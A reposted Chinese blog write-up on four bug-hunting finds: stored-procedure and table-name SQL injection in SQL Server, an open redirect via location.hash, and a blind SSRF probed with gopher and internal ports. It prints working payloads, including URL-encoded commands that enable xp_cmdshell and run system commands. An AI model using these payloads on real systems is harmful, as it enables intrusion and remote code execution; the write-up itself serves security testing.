0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

四个有趣的真实漏洞挖掘案例

jf_Fo0qk3ln 来源:博客园 2023-05-04 11:50 次阅读
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

0x00 前言

好久没写真实漏洞挖掘案例了,今天写一笔。直接发漏洞细节很生硬,大家也学不到什么,只有带入感情,留下笔者的想法,才能产生共鸣,真正的帮助到别人。

四个漏洞描述顺序:

存储过程sql注入;
table头注入;
通用的url跳转;
盲ssrf漏洞;

0x01 存储过程sql注入

首先我先介绍我近期挖到的第一个漏洞:sql server exec存储过程处 sql injection。

这是我在挖国外遇到的一个网站,遇到的一个真实案例,一个后台的某个功能点,存在存储过程sql注入,使用单引号测试,发现他报错了。

ERROR:[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure or function 'proc_*' expects parameter '@linked', which was not supplied.

这个报错很特别,和我平时看到的sql server报错信息不一样,我第一时间去谷歌搜索了下这个报错信息,很快就找到了一篇文章。

https://stackoverflow.com/questions/19703653/stored-procedure-or-function-expects-parameter-which-is-not-supplied

stackoverflow查看网站报错信息真的很方便,很方便帮我们判断使用了哪些技术. 虽然我英语很差,但是谷歌浏览器自带的翻译功能就够了,很快我就知道这是个sql server的存储过程报错。

话说回来,不通过谷歌搜索报错语句,通过单引号报错,其实就可能猜出来个大概。

我还是很常规的测试,因为报错了,所以我企图用最简单的方法让其报错出user/database等,尝试poc:

'and 1>user and'1'='1
'and user<0 and '1'='1

发现没有出user,甚至仍然报错,其实这是正常的。后续测试发现,只要我在后面添加内容,他就会一直报错...,他好像不允许添加过多的注入payload

4049d594-e861-11ed-ab56-dac502259ad0.png  

我开始从报错注入,转为布尔类型注入测试:

'and iif(user like '%25',1,1) and'1'='1

类似这样的payload,结局是泪目的,语句又是各种报错。我发现不能再这样搞了,这样搞的话思路肯定不对。

先从理解sql报错信息开始,理解存储过程,sql server的存储过程的语法是这样的:

exec 任意语句 / exec 'sql语句'

它本身其实不需要任何单引号的闭合,因为它不是字符串类型注入,重新调整测试,测试就是学习的过程,再次上payload:

13 if(substring(db_name(),1,1)='*')waitfor delay'03'

一顿fuzz,延时3s:

4072f848-e861-11ed-ab56-dac502259ad0.png  

说明我的这个poc没有问题,一开始踩了一个坑,一个认知问题,惯性思维导致的错误。

mysql下的ifif(条件,结果1,结果2)
sql server下的ifif(条件) 结果 else (结果)

这里误以为sql server的if也是和mysql的if使用一样,其实完全不一样,sql server等同mysql if函数的是iif函数.

我们知道,sql server报错有个很爽的技巧就是基于类型错误:int+varchar,尝试报错出db_name()。

报错注入poc:

13 if(1=0/db_name())waitfor delay'01'
40883924-e861-11ed-ab56-dac502259ad0.png  

至此,这个注入算搞定了,我可以提交了。

0x02 table头注入

第二个分享的案例仍然是注入,sql server table头注入,有意思的地方在于rce处,利用一个sql server特性我rce了它。

某天我挖一个站,发现一个功能点存在注入,是那种很常规的注入,通过查看js,我发现了一个接口

https://xxx.com/1.aspx?plugin=*&action=*&navigationid=1&table={注入点}

我看到了table参数,我觉得这可能是sql server table头注入,这是经常做安全测试的一种直觉,我直接输入了sysobject,他给我大量返回了信息:

40a21e16-e861-11ed-ab56-dac502259ad0.png我很惊喜,那么它代码的实现很大可能是:
select * from {可控点}

那么我可以做的事情变得很多很多,这个注入利用成本很低,我觉得他就是个任意sql语句执行漏洞。

我尝试rce,为了再次确定他是表头注入,我尝试在可控点处添加where等条件语句,尝试Payload。

sysobjects where xtype='u' #查询数据库中的所有表名

40c2dbe2-e861-11ed-ab56-dac502259ad0.png

很幸运,没任何报错,直接响应了。40f39e8a-e861-11ed-ab56-dac502259ad0.png

我开始尝试rce,我们都知道sql server rce的条件是需要支持堆叠,我尝试;waitfor delay '03';直接给我报错了,那么大概率可能不支持堆叠查询

不过这个注入点非常特别,是表头注入,它满足一定的条件,即使不支持堆叠,只要权限够高,我们也可以rce。

先开启xp_cmdshell扩展:

sysobjects+select+1+if+1%3d1+execute('EXEC+sp_configure+''show+advanced+options'',+1%3bRECONFIGURE%3bEXEC+sp_configure+''xp_cmdshell'',+1%3bRECONFIGURE%3b')

执行命令:

sysobjects+select+1++if+1%3d1+execute('exec+master..xp_cmdshell+"whoami"')

直接页面显示了whoami信息:

41097e58-e861-11ed-ab56-dac502259ad0.png

我是幸运的,很快,我就提交了漏洞给相关厂商。

因为是表头注入,所以不需要堆叠了,因为sql server的select支持 select x select x

41217080-e861-11ed-ab56-dac502259ad0.png

sql server容错率很强大,不同类型在一起不会报错,会做自动区分。

414f1ad0-e861-11ed-ab56-dac502259ad0.png418330ae-e861-11ed-ab56-dac502259ad0.png

第二个漏洞分享结束,开始第三个url跳转漏洞分享。

0x03 通用的url跳转

其实有时候,运气不是总是很好,漏洞也很难挖,连续好几天,我都没挖到漏洞,我在那边胡乱看着,瞎点着。

有一个站引起了我的兴趣,他的注册接口是这样的。
https://*/sss/yyyy?returnUrl=https://*/#/xxxx/xxx

我对url参数比较敏感,通常我会测试ssrf/xss,即使他大概率不存在,我也会测试下,很显然,半自动化工具没有发现任何ssrf和xss漏洞。

我注册了一个账号,我尝试登录,它告诉我,我的账号需要审核,我尝试绕过,我也没有绕过它。

我发现我没发现漏洞了,那我就随便看看吧,我都不抓包了,右键查看源代码,发现了这么一段代码,以前我就经常做js代码审计,这段代码我不会陌生。

if(location.hash){location="https://hostname"+location.hash.substring(1);}

稍微学过一点js的也不会陌生,不过我们还是要走一遍基础的测试流程,它使用location.hash.*去传递参数。

这个就是锚点符,常用于站内url跳转,记录#/后面的内容,其实这里的本意是做站内url跳转用的,不过这里没在hostname结尾处加/这个字符串,导致可以任意跳转。

我们简单测试下:

419ea8c0-e861-11ed-ab56-dac502259ad0.png

那么如果我们想任意url跳转怎么办???

只需要让location.hash.substring(1)变成另一个我们的域名即可,构造poc如下:
http://example.com/#.dnslog.cn
他会直接跳转出信任域,实现任意页面url跳转41b673f6-e861-11ed-ab56-dac502259ad0.png

除了这样还可以通过@domain去跳转到第三方网站,更加方便!!!

他的修复方案也很简单:

if(location.hash){location="https://hostname/"+location.hash.substring(1);}

至此第三个漏洞就分享完了。

0x04 盲ssrf漏洞

现在分享最后一个漏洞,就是盲的ssrf漏洞。前面我说过,我看到url参数,我就会尝试下ssrf/xss漏洞,这里我发现了一个图片加载功能,存在ssrf。首先在分享ssrf实战案例之前,先分享个ssrf安全测试圣经:https://github.com/cujanovic/SSRF-Testing

github上提供的测试用例:

https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg

如果想探测是否开放gopher,又不想触发waf怎么做?

https://ssrf.localdomain.pw/img-without-body/301-gopher-{dnslog.cn}-.i.jpg

这个url地址是可以变化的,测试什么协议就变成什么协议,其他测试样本不再举例,类似的,都可以随意转换

这里尝试301跳转:

41d1f37e-e861-11ed-ab56-dac502259ad0.pngdnslog成功收到请求,注意User-Agent,是libwww,perl的一个请求依赖库:
GET / HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: bt8vfrpehb5ur0ldbb4o47c9s0yqmf.burpcollaborator.net
User-Agent: ImageVacuum/2.3.10 libwww-perl/6.57
使用上面的思路,测试下敏感协议,gopher协议:4221117a-e861-11ed-ab56-dac502259ad0.png

有反应,说明大概率是支持gopher协议的,那么它到底支持不支持呢?

通过查看github libwww代码,就可以得到答案,他支持这些协议,其中包含gopher协议。

42357a66-e861-11ed-ab56-dac502259ad0.png

这样我们就可以使用gopher协议去批量fuzz探测内网redis等服务,这个点到此为止。

下面继续科普下盲的ssrf怎么探测?因为一般信息收集不全的情况下,我们没什么内网ip地址,那么我们怎么证明是盲ssrf呢?

本地ip:存在端口 vs 本地ip:大概率不存在的端口

25端口提示我图片类型不对:

42705906-e861-11ed-ab56-dac502259ad0.png250端口,提示我连接被拒绝428635be-e861-11ed-ab56-dac502259ad0.png这样就可以证明这是个盲的ssrf,它可以探测内网端口开放情况,然后因为它又支持gopher等敏感协议,它可以fuzz内网redis,尝试shell等,危害将会大大升级。 至此,已经分享完了四个漏洞,通过我的所思所想,希望能给大家带来一些感悟,我该去做饭吃了。
审核编辑 :李倩

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 存储
    +关注

    关注

    13

    文章

    4883

    浏览量

    90251
  • SQL
    SQL
    +关注

    关注

    1

    文章

    807

    浏览量

    46915
  • 漏洞
    +关注

    关注

    0

    文章

    205

    浏览量

    15969

原文标题:四个有趣的真实漏洞挖掘案例

文章出处:【微信号:菜鸟学信安,微信公众号:菜鸟学信安】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

    评论

    相关推荐
    热点推荐

    OpenClaw 部署完成后,你的系统正在被 4 万攻击者盯着

    巨大的安全漏洞里裸奔。这不是危言耸听。以下所有数据均有据可查。01丨三真实漏洞,三组真实数据漏洞
    的头像 发表于 04-15 11:32 7226次阅读
    OpenClaw 部署完成后,你的系统正在被 4 万<b class='flag-5'>个</b>攻击者盯着

    USB RFID读写器的四个常见应用

    任何需要小型、低成本读卡器的应用,都值得考虑USB RFID读写器。USB读写器具备大部分大型同类的基本功能,只是功率稍低一些。如果你有一款非常适合RFID的应用,但又想控制预算,可以看看斯科的USB桌面读写器。为了让你了解USB读写器的功能,我在下面列出了四个常见应用。
    的头像 发表于 04-13 14:51 616次阅读

    行业观察 | 微软3月修复83漏洞,多个高危漏洞被标记为高概率被利用

    2026年3月微软“补丁星期二”正式推送,本次共发布了83微软安全补丁,并重新发布了10非微软漏洞公告。此次更新覆盖范围广泛,涉及Windows核心基础设施、身份目录服务、Office协作平台
    的头像 发表于 03-17 17:02 1136次阅读
    行业观察 | 微软3月修复83<b class='flag-5'>个</b><b class='flag-5'>漏洞</b>,多个高危<b class='flag-5'>漏洞</b>被标记为高概率被利用

    PCBA生产过程的四个主要环节?

    PCBA生产过程的四个主要环节 PCBA(Printed Circuit Board Assembly)生产过程是将电子元器件组装到印刷电路板(PCB)上,形成完整电子产品的过程。虽然直接参考资料
    的头像 发表于 03-05 11:13 388次阅读

    行业观察 | 微软1月修复112漏洞,其中1正被黑客主动利用

    2026年1月微软“补丁星期二”正式推送,本次共发布了112微软安全补丁,并重新发布了3非微软漏洞公告。此次更新范围广泛,涉及Windows核心组件、远程访问服务、文件系统及Office生产力
    的头像 发表于 01-22 16:58 1444次阅读
    行业观察 | 微软1月修复112<b class='flag-5'>个</b><b class='flag-5'>漏洞</b>,其中1<b class='flag-5'>个</b>正被黑客主动利用

    固态断路器采用SiC JFET的四个理由

    性能。我们已介绍过浪涌电流、应对不断攀升的电力需求、为什么要使用固态断路器。本文为系列教程的第二部分,将介绍SSCB 采用 SiC JFET 的四个理由。
    的头像 发表于 01-16 15:45 1.4w次阅读
    固态断路器采用SiC JFET的<b class='flag-5'>四个</b>理由

    分析嵌入式软件代码的漏洞-代码注入

    简单地选择恰好在堆栈中的下一项目,将其编译为一整数并打印出来。 很容易看出,这可以用来从栈中打印任意数量的信息。例如,如果str包含\'%d%d%d%d\',则将会打印堆栈上接下来四个字的值
    发表于 12-22 12:53

    合科泰MOSFET选型的四个核心步骤

    面对数据手册中繁杂的参数,如何快速锁定适合应用的 MOSFET?遵循以下四个核心步骤,您能系统化地完成选型,避免因关键参数遗漏导致的设计风险。
    的头像 发表于 12-19 10:33 900次阅读

    行业观察 | 微软发布高危漏洞更新,涉及 Windows、Office、SQL Server 等多款产品

    微软于2025年9月的“补丁星期二”发布了81漏洞的修复更新,覆盖Windows、MicrosoftOffice、SQLServer等核心产品。本次更新修复了2已被公开披露的零日漏洞
    的头像 发表于 09-12 17:05 4575次阅读
    行业观察 | 微软发布高危<b class='flag-5'>漏洞</b>更新,涉及 Windows、Office、SQL Server 等多款产品

    用于 GSM/ GPRS (824-915 MHz) (1710-1910 MHz) 的 Tx-Rx 频前端模块,带四个线性 TRx 开关端口 skyworksinc

    电子发烧友网为你提供()用于 GSM/ GPRS (824-915 MHz) (1710-1910 MHz) 的 Tx-Rx 频前端模块,带四个线性 TRx 开关端口相关产品参数、数据手册,更有
    发表于 05-28 18:33
    用于 GSM/ GPRS (824-915 MHz) (1710-1910 MHz) 的 Tx-Rx <b class='flag-5'>四</b>频前端模块,带<b class='flag-5'>四个</b>线性 TRx 开关端口 skyworksinc

    用于 GSM/GPRS (824-915 MHz) (1710-1910 MHz) 的 Tx-Rx 频前端模块,带四个线性 TRx 开关端口 skyworksinc

    电子发烧友网为你提供()用于 GSM/GPRS (824-915 MHz) (1710-1910 MHz) 的 Tx-Rx 频前端模块,带四个线性 TRx 开关端口相关产品参数、数据手册,更有
    发表于 05-28 18:33
    用于 GSM/GPRS (824-915 MHz) (1710-1910 MHz) 的 Tx-Rx <b class='flag-5'>四</b>频前端模块,带<b class='flag-5'>四个</b>线性 TRx 开关端口 skyworksinc

    用于频 GSM / GPRS / EDGE 的 Tx-Rx FEM,具有四个线性 TRx 开关端口和双频 TD-SCDMA skyworksinc

    电子发烧友网为你提供()用于频 GSM / GPRS / EDGE 的 Tx-Rx FEM,具有四个线性 TRx 开关端口和双频 TD-SCDMA相关产品参数、数据手册,更有用于频 GSM
    发表于 05-28 18:31
    用于<b class='flag-5'>四</b>频 GSM / GPRS / EDGE 的 Tx-Rx FEM,具有<b class='flag-5'>四个</b>线性 TRx 开关端口和双频 TD-SCDMA skyworksinc

    ADAU1787四个ADC、两DAC、带音频DSP的低功耗编解码器技术手册

    ADAU1787 是一款具有四个输入和两输出的编解码器,其中整合了两个数字信号处理器 (DSP)。从模拟输入到 DSP 内核再到模拟输出的路径已针对低延迟进行优化,适用于噪声消除耳机。通过加入少量无源组件,ADAU1787 提供了完整的耳机解决方案。
    的头像 发表于 05-12 14:57 1719次阅读
    ADAU1787<b class='flag-5'>四个</b>ADC、两<b class='flag-5'>个</b>DAC、带音频DSP的低功耗编解码器技术手册

    PLC产品故障问题测试的四个部分

    ,必须对故障问题进行系统化测试。本文将详细介绍PLC产品故障问题测试的四个关键部分,帮助技术人员快速定位和解决问题。 一、硬件测试 硬件测试是PLC故障诊断的首要环节,主要针对PLC设备的物理部件进行检查。首先,需要检查电源模块是否
    的头像 发表于 05-11 17:00 2125次阅读
    PLC产品故障问题测试的<b class='flag-5'>四个</b>部分

    四个方面深入剖析富捷电阻的优势

    理成本的电阻产品系列,为电子行业提供了一可靠的选择。本文将从产品结构、同业对比、成本分析以及品质保障四个方面深入剖析富捷电阻的优势,展现其如何在激烈的市场竞争中脱颖而出。
    的头像 发表于 05-09 10:47 1288次阅读
    从<b class='flag-5'>四个</b>方面深入剖析富捷电阻的优势